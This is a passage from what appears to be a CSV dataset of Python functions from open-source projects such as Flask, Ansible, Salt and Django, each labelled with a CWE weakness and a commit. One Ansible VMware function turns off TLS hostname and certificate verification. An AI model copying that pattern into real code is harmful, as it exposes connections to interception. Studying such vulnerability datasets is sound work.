            )

        #: Holds the path to the instance folder.
        #:
        #: .. versionadded:: 0.8
        self.instance_path = instance_path

        #: The configuration dictionary as :class:`Config`.  This behaves
        #: exactly like a regular dictionary but supports additional methods
        #: to load a config from files.
        self.config = self.make_config(instance_relative_config)

        #: A list of functions that are called when :meth:`url_for` raises a
        #: :exc:`~werkzeug.routing.BuildError`.  Each function registered here
        #: is called with `error`, `endpoint` and `values`.  If a function
        #: returns ``None`` or raises a :exc:`BuildError` the next function is
        #: tried.
        #:
        #: .. versionadded:: 0.9
        self.url_build_error_handlers: t.List[
            t.Callable[[Exception, str, dict], str]
        ] = []

        #: A list of functions that will be called at the beginning of the
        #: first request to this instance. To register a function, use the
        #: :meth:`before_first_request` decorator.
        #:
        #: .. versionadded:: 0.8
        self.before_first_request_funcs: t.List[BeforeFirstRequestCallable] = []

        #: A list of functions that are called when the application context
        #: is destroyed.  Since the application context is also torn down
        #: if the request ends this is the place to store code that disconnects
        #: from databases.
        #:
        #: .. versionadded:: 0.9
        self.teardown_appcontext_funcs: t.List[TeardownCallable] = []

        #: A list of shell context processor functions that should be run
        #: when a shell context is created.
        #:
        #: .. versionadded:: 0.11
        self.shell_context_processors: t.List[t.Callable[[], t.Dict[str, t.Any]]] = []

        #: Maps registered blueprint names to blueprint objects. The
        #: dict retains the order the blueprints were registered in.
        #: Blueprints can be registered multiple times, this dict does
        #: not track how often they were attached.
        #:
        #: .. versionadded:: 0.7
        self.blueprints: t.Dict[str, ""Blueprint""] = {}

        #: a place where extensions can store application specific state.  For
        #: example this is where an extension could store database engines and
        #: similar things.
        #:
        #: The key must match the name of the extension module. For example in
        #: case of a ""Flask-Foo"" extension in `flask_foo`, the key would be
        #: ``'foo'``.
        #:
        #: .. versionadded:: 0.7
        self.extensions: dict = {}

        #: The :class:`~werkzeug.routing.Map` for this instance.  You can use
        #: this to change the routing converters after the class was created
        #: but before any routes are connected.  Example::
        #:
        #:    from werkzeug.routing import BaseConverter
        #:
        #:    class ListConverter(BaseConverter):
        #:        def to_python(self, value):
        #:            return value.split(',')
        #:        def to_url(self, values):
        #:            return ','.join(super(ListConverter, self).to_url(value)
        #:                            for value in values)
        #:
        #:    app = Flask(__name__)
        #:    app.url_map.converters['list'] = ListConverter
        self.url_map = self.url_map_class()

        self.url_map.host_matching = host_matching
        self.subdomain_matching = subdomain_matching

        # tracks internally if the application already handled at least one
        # request.
        self._got_first_request = False
        self._before_request_lock = Lock()

        # Add a static route using the provided static_url_path, static_host,
        # and static_folder if there is a configured static_folder.
        # Note we do this without checking if static_folder exists.
        # For one, it might be created while the server is running (e.g. during
        # development). Also, Google App Engine stores static files somewhere
        if self.has_static_folder:
            assert (
                bool(static_host) == host_matching
            ), ""Invalid static_host/host_matching combination""
            # Use a weakref to avoid creating a reference cycle between the app
            # and the view function (see #3761).
            self_ref = weakref.ref(self)
            self.add_url_rule(
                f""{self.static_url_path}/<path:filename>"",
                endpoint=""static"",
                host=static_host,
                view_func=lambda **kw: self_ref().send_static_file(**kw),  # type: ignore # noqa: B950
            )

        # Set the name of the Click group in case someone wants to add
        # the app's commands to another CLI tool.
        self.cli.name = self.name",CWE-703,pallets/flask,06cf349bb8b69d9946c3a6a64d32eb552cc7c28b,"def __init__(
        self,
        import_name: str,
        static_url_path: t.Optional[str] = None,
        static_folder: t.Optional[str] = ""static"",
        static_host: t.Optional[str] = None,
        host_matching: bool = False,
        subdomain_matching: bool = False,
        template_folder: t.Optional[str] = ""templates"",
        instance_path: t.Optional[str] = None,
        instance_relative_config: bool = False,
        root_path: t.Optional[str] = None,
    ):
        super().__init__(
            import_name=import_name,
            static_folder=static_folder,
            static_url_path=static_url_path,
            template_folder=template_folder,
            root_path=root_path,
        )

        if instance_path is None:
            instance_path = self.auto_find_instance_path()
        elif not os.path.isabs(instance_path):
            raise ValueError(
                ""If an instance path is provided it must be absolute.""
                "" A relative path was given instead.""
            )

        #: Holds the path to the instance folder.
        #:
        #: .. versionadded:: 0.8
        self.instance_path = instance_path

        #: The configuration dictionary as :class:`Config`.  This behaves
        #: exactly like a regular dictionary but supports additional methods
        #: to load a config from files.
        self.config = self.make_config(instance_relative_config)

        #: A list of functions that are called when :meth:`url_for` raises a
        #: :exc:`~werkzeug.routing.BuildError`.  Each function registered here
        #: is called with `error`, `endpoint` and `values`.  If a function
        #: returns ``None`` or raises a :exc:`BuildError` the next function is
        #: tried.
        #:
        #: .. versionadded:: 0.9
        self.url_build_error_handlers: t.List[
            t.Callable[[Exception, str, dict], str]
        ] = []

        #: A list of functions that will be called at the beginning of the
        #: first request to this instance. To register a function, use the
        #: :meth:`before_first_request` decorator.
        #:
        #: .. versionadded:: 0.8
        self.before_first_request_funcs: t.List[BeforeFirstRequestCallable] = []

        #: A list of functions that are called when the application context
        #: is destroyed.  Since the application context is also torn down
        #: if the request ends this is the place to store code that disconnects
        #: from databases.
        #:
        #: .. versionadded:: 0.9
        self.teardown_appcontext_funcs: t.List[TeardownCallable] = []

        #: A list of shell context processor functions that should be run
        #: when a shell context is created.
        #:
        #: .. versionadded:: 0.11
        self.shell_context_processors: t.List[t.Callable[[], t.Dict[str, t.Any]]] = []

        #: Maps registered blueprint names to blueprint objects. The
        #: dict retains the order the blueprints were registered in.
        #: Blueprints can be registered multiple times, this dict does
        #: not track how often they were attached.
        #:
        #: .. versionadded:: 0.7
        self.blueprints: t.Dict[str, ""Blueprint""] = {}

        #: a place where extensions can store application specific state.  For
        #: example this is where an extension could store database engines and
        #: similar things.
        #:
        #: The key must match the name of the extension module. For example in
        #: case of a ""Flask-Foo"" extension in `flask_foo`, the key would be
        #: ``'foo'``.
        #:
        #: .. versionadded:: 0.7
        self.extensions: dict = {}

        #: The :class:`~werkzeug.routing.Map` for this instance.  You can use
        #: this to change the routing converters after the class was created
        #: but before any routes are connected.  Example::
        #:
        #:    from werkzeug.routing import BaseConverter
        #:
        #:    class ListConverter(BaseConverter):
        #:        def to_python(self, value):
        #:            return value.split(',')
        #:        def to_url(self, values):
        #:            return ','.join(super(ListConverter, self).to_url(value)
        #:                            for value in values)
        #:
        #:    app = Flask(__name__)
        #:    app.url_map.converters['list'] = ListConverter
        self.url_map = self.url_map_class()

        self.url_map.host_matching = host_matching
        self.subdomain_matching = subdomain_matching

        # tracks internally if the application already handled at least one
        # request.
        self._got_first_request = False
        self._before_request_lock = Lock()

        # Add a static route using the provided static_url_path, static_host,
        # and static_folder if there is a configured static_folder.
        # Note we do this without checking if static_folder exists.
        # For one, it might be created while the server is running (e.g. during
        # development). Also, Google App Engine stores static files somewhere
        if self.has_static_folder:
            assert (
                bool(static_host) == host_matching
            ), ""Invalid static_host/host_matching combination""
            # Use a weakref to avoid creating a reference cycle between the app
            # and the view function (see #3761).
            self_ref = weakref.ref(self)
            self.add_url_rule(
                f""{self.static_url_path}/<path:filename>"",
                endpoint=""static"",
                host=static_host,
                view_func=lambda **kw: self_ref().send_static_file(**kw),  # type: ignore # noqa: B950
            )

        # Set the name of the Click group in case someone wants to add
        # the app's commands to another CLI tool.
        self.cli.name = self.name"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/template_test.py,0,"def test_escaping(self):
        self.assertRaises(ParseError, lambda: Template(""{{""))
        self.assertRaises(ParseError, lambda: Template(""{%""))
        self.assertEqual(Template(""{{!"").generate(), b""{{"")
        self.assertEqual(Template(""{%!"").generate(), b""{%"")
        self.assertEqual(Template(""{#!"").generate(), b""{#"")
        self.assertEqual(Template(""{{ 'expr' }} {{!jquery expr}}"").generate(),
                         b""expr {{jquery expr}}"")",CWE-Unknown,tornadoweb/tornado,7b61d9ea716cbd4b426e91dbdb34362b34a69b5b,"def test_escaping(self):
        self.assertRaises(ParseError, lambda: Template(""{{""))
        self.assertRaises(ParseError, lambda: Template(""{%""))
        self.assertEqual(Template(""{{!"").generate(), b""{{"")
        self.assertEqual(Template(""{%!"").generate(), b""{%"")
        self.assertEqual(Template(""{{ 'expr' }} {{!jquery expr}}"").generate(),
                         b""expr {{jquery expr}}"")"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, 'tasks', cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            if use_handlers:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'handlers', include_target)
                            else:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.display(""statically included: %s"" % include_file, color=C.COLOR_SKIP)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=t.copy(),
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,1c7e0c73c94a800a189f3504738a43c1e38e09bd,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # FIXME: all of this code is very similar (if not identical) to that in
                    #        plugins/strategy/__init__.py, and should be unified to avoid
                    #        patches only being applied to one or the other location
                    if task_include:
                        # handle relative includes by walking up the list of parent include
                        # tasks and checking the relative result to see if it exists
                        parent_include = task_include
                        cumulative_path = None
                        while parent_include is not None:
                            if not isinstance(parent_include, TaskInclude):
                                parent_include = parent_include._parent
                                continue
                            parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                            if cumulative_path is None:
                                cumulative_path = parent_include_dir
                            elif not os.path.isabs(cumulative_path):
                                cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                            include_target = templar.template(t.args['_raw_params'])
                            if t._role:
                                new_basedir = os.path.join(t._role._role_path, 'tasks', cumulative_path)
                                include_file = loader.path_dwim_relative(new_basedir, 'tasks', include_target)
                            else:
                                include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                            if os.path.exists(include_file):
                                break
                            else:
                                parent_include = parent_include._parent
                    else:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            if use_handlers:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'handlers', include_target)
                            else:
                                include_file = loader.path_dwim_relative(t._role._role_path, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError(""included task files must contain a list of tasks"", obj=data)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=t.copy(),
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: send callback here somehow...
                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list"
,UNKNOWN,UNKNOWN,salt/utils/templates.py,1,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if 'sls' in context:
            slspath = context['sls'].replace('.', '/')
            if tmplpath is not None:
                context['tplpath'] = tmplpath
                if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
                    slspath = os.path.dirname(slspath)
            context['slsdotpath'] = slspath.replace('/', '.')
            context['slscolonpath'] = slspath.replace('/', ':')
            context['sls_path'] = slspath.replace('/', '_')
            context['slspath'] = slspath

        if isinstance(tmplsrc, string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.is_bin_file(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file '
                        '{0}: {1}'.format(tmplsrc, exc),
                        # Show full traceback if debug logging is enabled
                        exc_info_on_loglevel=logging.DEBUG
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if salt.utils.is_windows():
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())

        except SaltRenderError as exc:
            log.error(""Rendering exception occurred :{0}"".format(exc))
            #return dict(result=False, data=str(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False) as outf:
                outf.write(SLS_ENCODER(output)[0])
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)",CWE-703,saltstack/salt,1d2279a775fc69e92511f5a337d8d912b107d8f1,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if 'sls' in context:
            slspath = context['sls'].replace('.', '/')
            if tmplpath is not None:
                context['tplpath'] = tmplpath
                if not tmplpath.lower().replace('\\', '/').endswith('/init.sls'):
                    slspath = os.path.dirname(slspath)
            context['slsdotpath'] = slspath.replace('/', '.')
            context['slscolonpath'] = slspath.replace('/', ':')
            context['sls_path'] = slspath.replace('/', '_')
            context['slspath'] = slspath

        if isinstance(tmplsrc, string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.is_bin_file(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file '
                        '{0}: {1}'.format(tmplsrc, exc),
                        # Show full traceback if debug logging is enabled
                        exc_info_on_loglevel=logging.DEBUG
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if salt.utils.is_windows():
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())

        except SaltRenderError as exc:
            log.error(""Rendering exception occured :{0}"".format(exc))
            #return dict(result=False, data=str(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False) as outf:
                outf.write(SLS_ENCODER(output)[0])
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/vmware/vmware_host.py,1,"def get_host_connect_spec(self):
        """"""
        Function to return Host connection specification
        Returns: host connection specification
        """"""
        # Get the thumbprint of the SSL certificate
        if self.fetch_ssl_thumbprint and self.esxi_ssl_thumbprint == '':
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            if self.module.params['proxy_host']:
                sock.connect((
                    self.module.params['proxy_host'],
                    self.module.params['proxy_port']))
                command = ""CONNECT %s:443 HTTP/1.0\r\n\r\n"" % (self.esxi_hostname)
                sock.send(command.encode())
                buf = sock.recv(8192).decode()
                if buf.split()[1] != '200':
                    self.module.fail_json(msg=""Failed to connect to the proxy"")
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                der_cert_bin = ctx.wrap_socket(sock, server_hostname=self.esxi_hostname).getpeercert(True)
                sock.close()
            else:
                wrapped_socket = ssl.wrap_socket(sock)
                try:
                    wrapped_socket.connect((self.esxi_hostname, 443))
                except socket.error as socket_error:
                    self.module.fail_json(msg=""Cannot connect to host : %s"" % socket_error)
                else:
                    der_cert_bin = wrapped_socket.getpeercert(True)
                    wrapped_socket.close()

            thumb_sha1 = self.format_number(hashlib.sha1(der_cert_bin).hexdigest())
            sslThumbprint = thumb_sha1
        else:
            sslThumbprint = self.esxi_ssl_thumbprint

        host_connect_spec = vim.host.ConnectSpec()
        host_connect_spec.sslThumbprint = sslThumbprint
        host_connect_spec.hostName = self.esxi_hostname
        host_connect_spec.userName = self.esxi_username
        host_connect_spec.password = self.esxi_password
        host_connect_spec.force = self.force_connection
        return host_connect_spec",CWE-327,ansible/ansible,025e30ea0c9976a4357cf988f675e990fdf43ffd,"def get_host_connect_spec(self):
        """"""
        Function to return Host connection specification
        Returns: host connection specification
        """"""
        host_connect_spec = vim.host.ConnectSpec()
        host_connect_spec.hostName = self.esxi_hostname
        host_connect_spec.userName = self.esxi_username
        host_connect_spec.password = self.esxi_password
        host_connect_spec.force = self.force_connection
        # Get the thumbprint of the SSL certificate
        if self.fetch_ssl_thumbprint and self.esxi_ssl_thumbprint == '':
            # We need to grab the thumbprint manually because it's not included in
            # the task error via an SSLVerifyFault exception anymore
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            wrapped_socket = ssl.wrap_socket(sock)
            try:
                wrapped_socket.connect((self.esxi_hostname, 443))
            except socket.error as socket_error:
                self.module.fail_json(msg=""Cannot connect to host : %s"" % socket_error)
            else:
                der_cert_bin = wrapped_socket.getpeercert(True)
                # thumb_md5 = hashlib.md5(der_cert_bin).hexdigest()
                thumb_sha1 = self.format_number(hashlib.sha1(der_cert_bin).hexdigest())
                # thumb_sha256 = hashlib.sha256(der_cert_bin).hexdigest()
            wrapped_socket.close()
            host_connect_spec.sslThumbprint = thumb_sha1
        else:
            host_connect_spec.sslThumbprint = self.esxi_ssl_thumbprint
        return host_connect_spec"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/forms.py,1,"def test_invalid_username(self):
        # The user submits an invalid username.

        data = {
            'username': 'jsmith_does_not_exist',
            'password': 'test123',
            }
        form = AuthenticationForm(None, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.non_field_errors(),
                [force_text(form.error_messages['invalid_login'] % {
                   'username': User._meta.get_field('username').verbose_name
                })])",CWE-259,django/django,06b5f5fcb6db2fc20e2d455a34f3f4b0293cfd8c,"def test_invalid_username(self):
        # The user submits an invalid username.

        data = {
            'username': 'jsmith_does_not_exist',
            'password': 'test123',
            }
        form = AuthenticationForm(None, data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.non_field_errors(),
                         [force_text(form.error_messages['invalid_login'])])"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/output/test_email_report.py,0,"def test_found_xss(self):
        cfg = self._run_configs['cfg']
        
        with patch('w3af.plugins.output.email_report.smtplib.SMTP') as mock_smtp:
            mock_smtp.return_value = DummySMTP()
            
            self._scan(cfg['target'], cfg['plugins'])
    
            xss_vulns = self.kb.get('xss', 'xss')
            
            self.assertEqual(len(inbox), 1)
            
            email_msg = inbox[0]
            self.assertEqual(email_msg.from_address, self.from_addr)
            self.assertEqual(email_msg.to_address, [self.to_addrs,])
            
            content = email_msg.fullmessage
            xss_count = 0
            pxss_count = 0
            
            for line in content.split('\n'):
                if 'A Cross Site Scripting vulnerability was found at:' in line:
                    xss_count += 1
                elif 'A persistent Cross Site Scripting vulnerability' in line:
                    pxss_count += 1
            
            self.assertEqual(len(xss_vulns), xss_count + pxss_count)",,andresriancho/w3af,0c9c5b74e412b8c46001e56ae2cbfcbf4fac80a4,"def test_found_xss(self):
        cfg = self._run_configs['cfg']
        
        with patch('w3af.plugins.output.email_report.smtplib.SMTP') as mock_smtp:
            mock_smtp.return_value = DummySMTP()
            
            self._scan(cfg['target'], cfg['plugins'])
    
            xss_vulns = self.kb.get('xss', 'xss')
            
            self.assertEqual(len(inbox), 1)
            
            email_msg = inbox[0]
            self.assertEqual(email_msg.from_address, self.from_addr)
            self.assertEqual(email_msg.to_address, [self.to_addrs,])
            
            content = email_msg.fullmessage
            xss_count = 0
            pxss_count = 0
            
            for line in content.split('\n'):
                if 'A Cross Site Scripting vulnerability was found at:' in line:
                    xss_count += 1
                elif 'A persistent Cross Site Scripting vulnerability' in line:
                    pxss_count += 1
            
            self.assertEqual(xss_count, 16)
            self.assertEqual(pxss_count, 1)
            
            self.assertEqual(len(xss_vulns), xss_count + pxss_count)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def get_dag(self, dag_id):
        """"""
        Gets the DAG out of the dictionary, and refreshes it if expired
        """"""
        # If asking for a known subdag, we want to refresh the parent
        root_dag_id = dag_id
        if dag_id in self.dags:
            dag = self.dags[dag_id]
            if dag.is_subdag:
                root_dag_id = dag.parent_dag.dag_id

        # If the root_dag_id is absent or expired
